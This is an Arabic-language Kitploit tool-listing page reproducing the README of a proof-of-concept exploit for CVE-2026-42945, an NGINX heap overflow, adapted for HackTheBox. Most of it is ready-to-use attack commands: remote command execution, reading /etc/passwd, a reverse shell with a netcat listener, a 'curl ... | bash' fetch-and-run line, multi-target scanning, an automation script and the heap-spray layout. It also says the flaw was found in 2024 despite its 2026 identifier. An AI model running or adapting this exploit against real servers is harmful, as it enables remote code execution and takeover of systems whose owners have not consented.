Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42945-POC — استغلال لـ CVE-2026-42945 | Kitploit
أدوات/GitHubGitHub/cipherspy/cve-2026-42945-poc
الاستطلاعتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالقيادة والسيطرةالتعلم والتعليماستغلال الملفات الثنائية
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

54137منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال لـ CVE-2026-42945

عرض المستودع

CVE-2026-42945 (NGINX Rift) - استغلال جاهز لـ HTB

استغلال مستقل لثغرة تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في NGINX التي اكتُشفت في عام 2024. تم تحسين هذا الإصدار لبيئات HackTheBox وCTF حيث لا يمكنك إعداد حاويات Docker.

تفاصيل الثغرة

CVE-2026-42945 هي ثغرة حرجة لتجاوز سعة المخزن المؤقت في الكومة في وحدة ngx_http_rewrite_module الخاصة بـ NGINX، وهي موجودة منذ عام 2008 (الإصدار 0.6.27). يحدث الخطأ عندما:

  1. يحتوي توجيه rewrite على ? في الاستبدال (يضبط is_args = 1)
  2. يلتقط توجيه set جزءًا من URI
  3. يتم حساب الطول على محرك فرعي مُصفَّر (يرى is_args = 0)
  4. تعمل مرحلة النسخ على المحرك الرئيسي (يرى is_args = 1)
  5. يعمل ترميز URI (escaping) على توسيع الأحرف 3 أضعاف، مما يسبب تجاوزًا في المخزن المؤقت غير الكافي

الإصدارات المتأثرة

  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

الإصدارات المُصحَّحة

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

الملفات المرفقة

  1. nginx_rift_htb.py - السكربت الرئيسي للاستغلال
  2. nginx_rift_helper.py - أداة مساعدة للاستطلاع وتسريب المعلومات
  3. README.md - هذا الملف

المتطلبات

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

البداية السريعة

1. التحقق مما إذا كان الهدف عرضة للثغرة

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

سيقوم هذا بـ:

  • اكتشاف ما إذا كان NGINX قيد التشغيل
  • محاولة تحديد الإصدار
  • التحقق من نقطة النهاية /api/
  • الإبلاغ عما إذا كان الهدف يبدو عرضة للثغرة

2. الاستطلاع (موصى به)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

يقوم هذا بـ:

  • تحديد بصمة NGINX (fingerprinting)
  • كشف الإصدار
  • اكتشاف نقاط النهاية
  • كشف تسريب المعلومات
  • التحليل السلوكي

3. تشغيل الاستغلال

تنفيذ أمر:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

الحصول على قشرة عكسية:

root@kitploit:~
# Start listener first (in another terminal)
nc -lvnp 4444

# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

أمثلة على الاستخدام

تنفيذ الأوامر الأساسية

root@kitploit:~
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

القشرة العكسية

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

عناوين مخصصة (إذا كان ASLR معطلاً أو لديك تسريبات)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

خيارات متقدمة

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

فهم الاستغلال

كيف يعمل

  1. حقن الكومة (Heap Spray): يرسل الاستغلال طلبات POST متعددة بمحتويات مُصمَّمة تحتوي على بنية ngx_pool_cleanup_s مزيفة
  2. مشغّل التجاوز (Overflow Trigger): يرسل طلب GET إلى /api/ مع URI مصمم خصيصًا بحيث يحدث تجاوز عند ترميزه
  3. خطاف التنظيف (Cleanup Hook): يؤدي التجاوز إلى إتلاف مؤشر التنظيف لتجمع ذاكرة مجاور بحيث يشير إلى البنية المزيفة الخاصة بنا
  4. تنفيذ الكود: عندما يُدمَّر تجمع الذاكرة، يستدعي system() مع أمرنا

المعاملات الرئيسية

  • بايتات الهدف: عناوين من 6 بايتات يجب أن تحتوي على أحرف آمنة لعناوين URL فقط
  • محتوى الحقن (Spray body): محتوى POST بحجم 4000 بايت يحتوي على بنية تنظيف مزيفة
  • حمولة التجاوز: 349 حرفًا من 'A' و969 حرفًا من '+' تتوسع 3 أضعاف أثناء الترميز

اعتبارات ASLR

يفترض الاستغلال أن ASLR معطّل أو أنك تعرف العناوين. على HTB:

  • بعض الأجهزة تعطّل ASLR لتسهيل الاستغلال
  • أخرى تتطلب إيجاد تسريب للمعلومات
  • يمكن أن يساعد السكربت المساعد في الاستطلاع

إذا كان ASLR مفعّلاً، فقد تحتاج إلى:

  1. إيجاد تسريب معلومات في التطبيق
  2. القوة الغاشمة (تتطلب محاولات عديدة)
  3. استخدام الكتابة الفوقية الجزئية (متقدم)

استكشاف الأخطاء وإصلاحها

«يبدو أن الهدف لا يشغّل NGINX»

  • تحقق من أن الهدف يشغّل NGINX فعليًا
  • تحقق من صحة المنفذ
  • قد يكون خلف WAF أو وكيل (proxy)

«تعذّر تأكيد نقطة النهاية /api/»

يتطلب الإعداد القابل للاستغلال:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • قد يظل الاستغلال يعمل إذا وُجدت تركيبة rewrite+set في مكان آخر
  • جرّب مسارات شائعة مختلفة: /api/ أو /admin/ أو /internal/

«فشلت جميع محاولات الاستغلال»

الأسباب المحتملة:

  1. ASLR مفعّل - العناوين عشوائية

    • الحل: ابحث عن تسريب معلومات أو استخدم القوة الغاشمة
  2. إصدار مختلف من libc - system() في إزاحة مختلفة

    • الحل: جرّب جميع الإزاحات مع --verbose
  3. الإصدار غير قابل للاستغلال - إصدار مُصحَّح أو إعداد مختلف

    • الحل: تحقق من الإصدار باستخدام السكربت المساعد
  4. حظر WAF/IDS - توجد ضوابط أمنية

    • الحل: قد تحتاج إلى تقنيات مراوغة
  5. نقطة نهاية خاطئة - لا تستخدم تركيبة rewrite+set

    • الحل: ابحث عن نقطة النهاية القابلة للاستغلال الفعلية

وضع Verbose

استخدم دائمًا --verbose لأغراض التصحيح:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

يعرض هذا:

  • حالة كل طلب حقن
  • محاولات الاتصال
  • توقيت مشغّل التجاوز
  • منطق اكتشاف الانهيار

نصائح خاصة بـ HTB

العثور على عنوان IP الخاص بـ VPN

root@kitploit:~
# Find your tun0 IP
ip addr show tun0 | grep inet

# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

تثبيت القشرة

بمجرد حصولك على وصول أولي:

root@kitploit:~
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

التعداد الشائع في HTB بعد الحصول على القشرة

root@kitploit:~
# Check current user
id
whoami

# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Check sudo permissions
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

استخدام متقدم

توليد حمولة مخصصة

إذا كنت بحاجة إلى تخصيص الحمولة:

root@kitploit:~
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')

أهداف متعددة

root@kitploit:~
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Test each one
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

استغلال آلي

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

التفاصيل التقنية

نمط الكود القابل للاستغلال

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

تدفق الاستغلال

root@kitploit:~
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)

تخطيط الذاكرة

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

المراجع

  • الإثبات المفاهيمي الأصلي (POC): https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • الشرح الفني: https://depthfirst.com/research/nginx-rift
  • نشرة NGINX الأمنية: https://my.f5.com/manage/s/article/K000160932
  • تفاصيل CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

إخلاء المسؤولية

تُقدَّم هذه الأداة للأغراض التعليمية ولاختبار الأمان المصرح به فقط. يُعد استخدامها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها أمرًا غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

الاعتمادات

  • اكتُشفت الثغرة الأصلية بواسطة depthfirst
  • الإثبات المفاهيمي الأصلي (POC): p3Nt3st3r-sTAr
  • تكييف HTB: تم تعديله للاستخدام المستقل

الترخيص

لأغراض تعليمية/بحثية فقط. استخدمه بمسؤولية.

تنزيل الأداة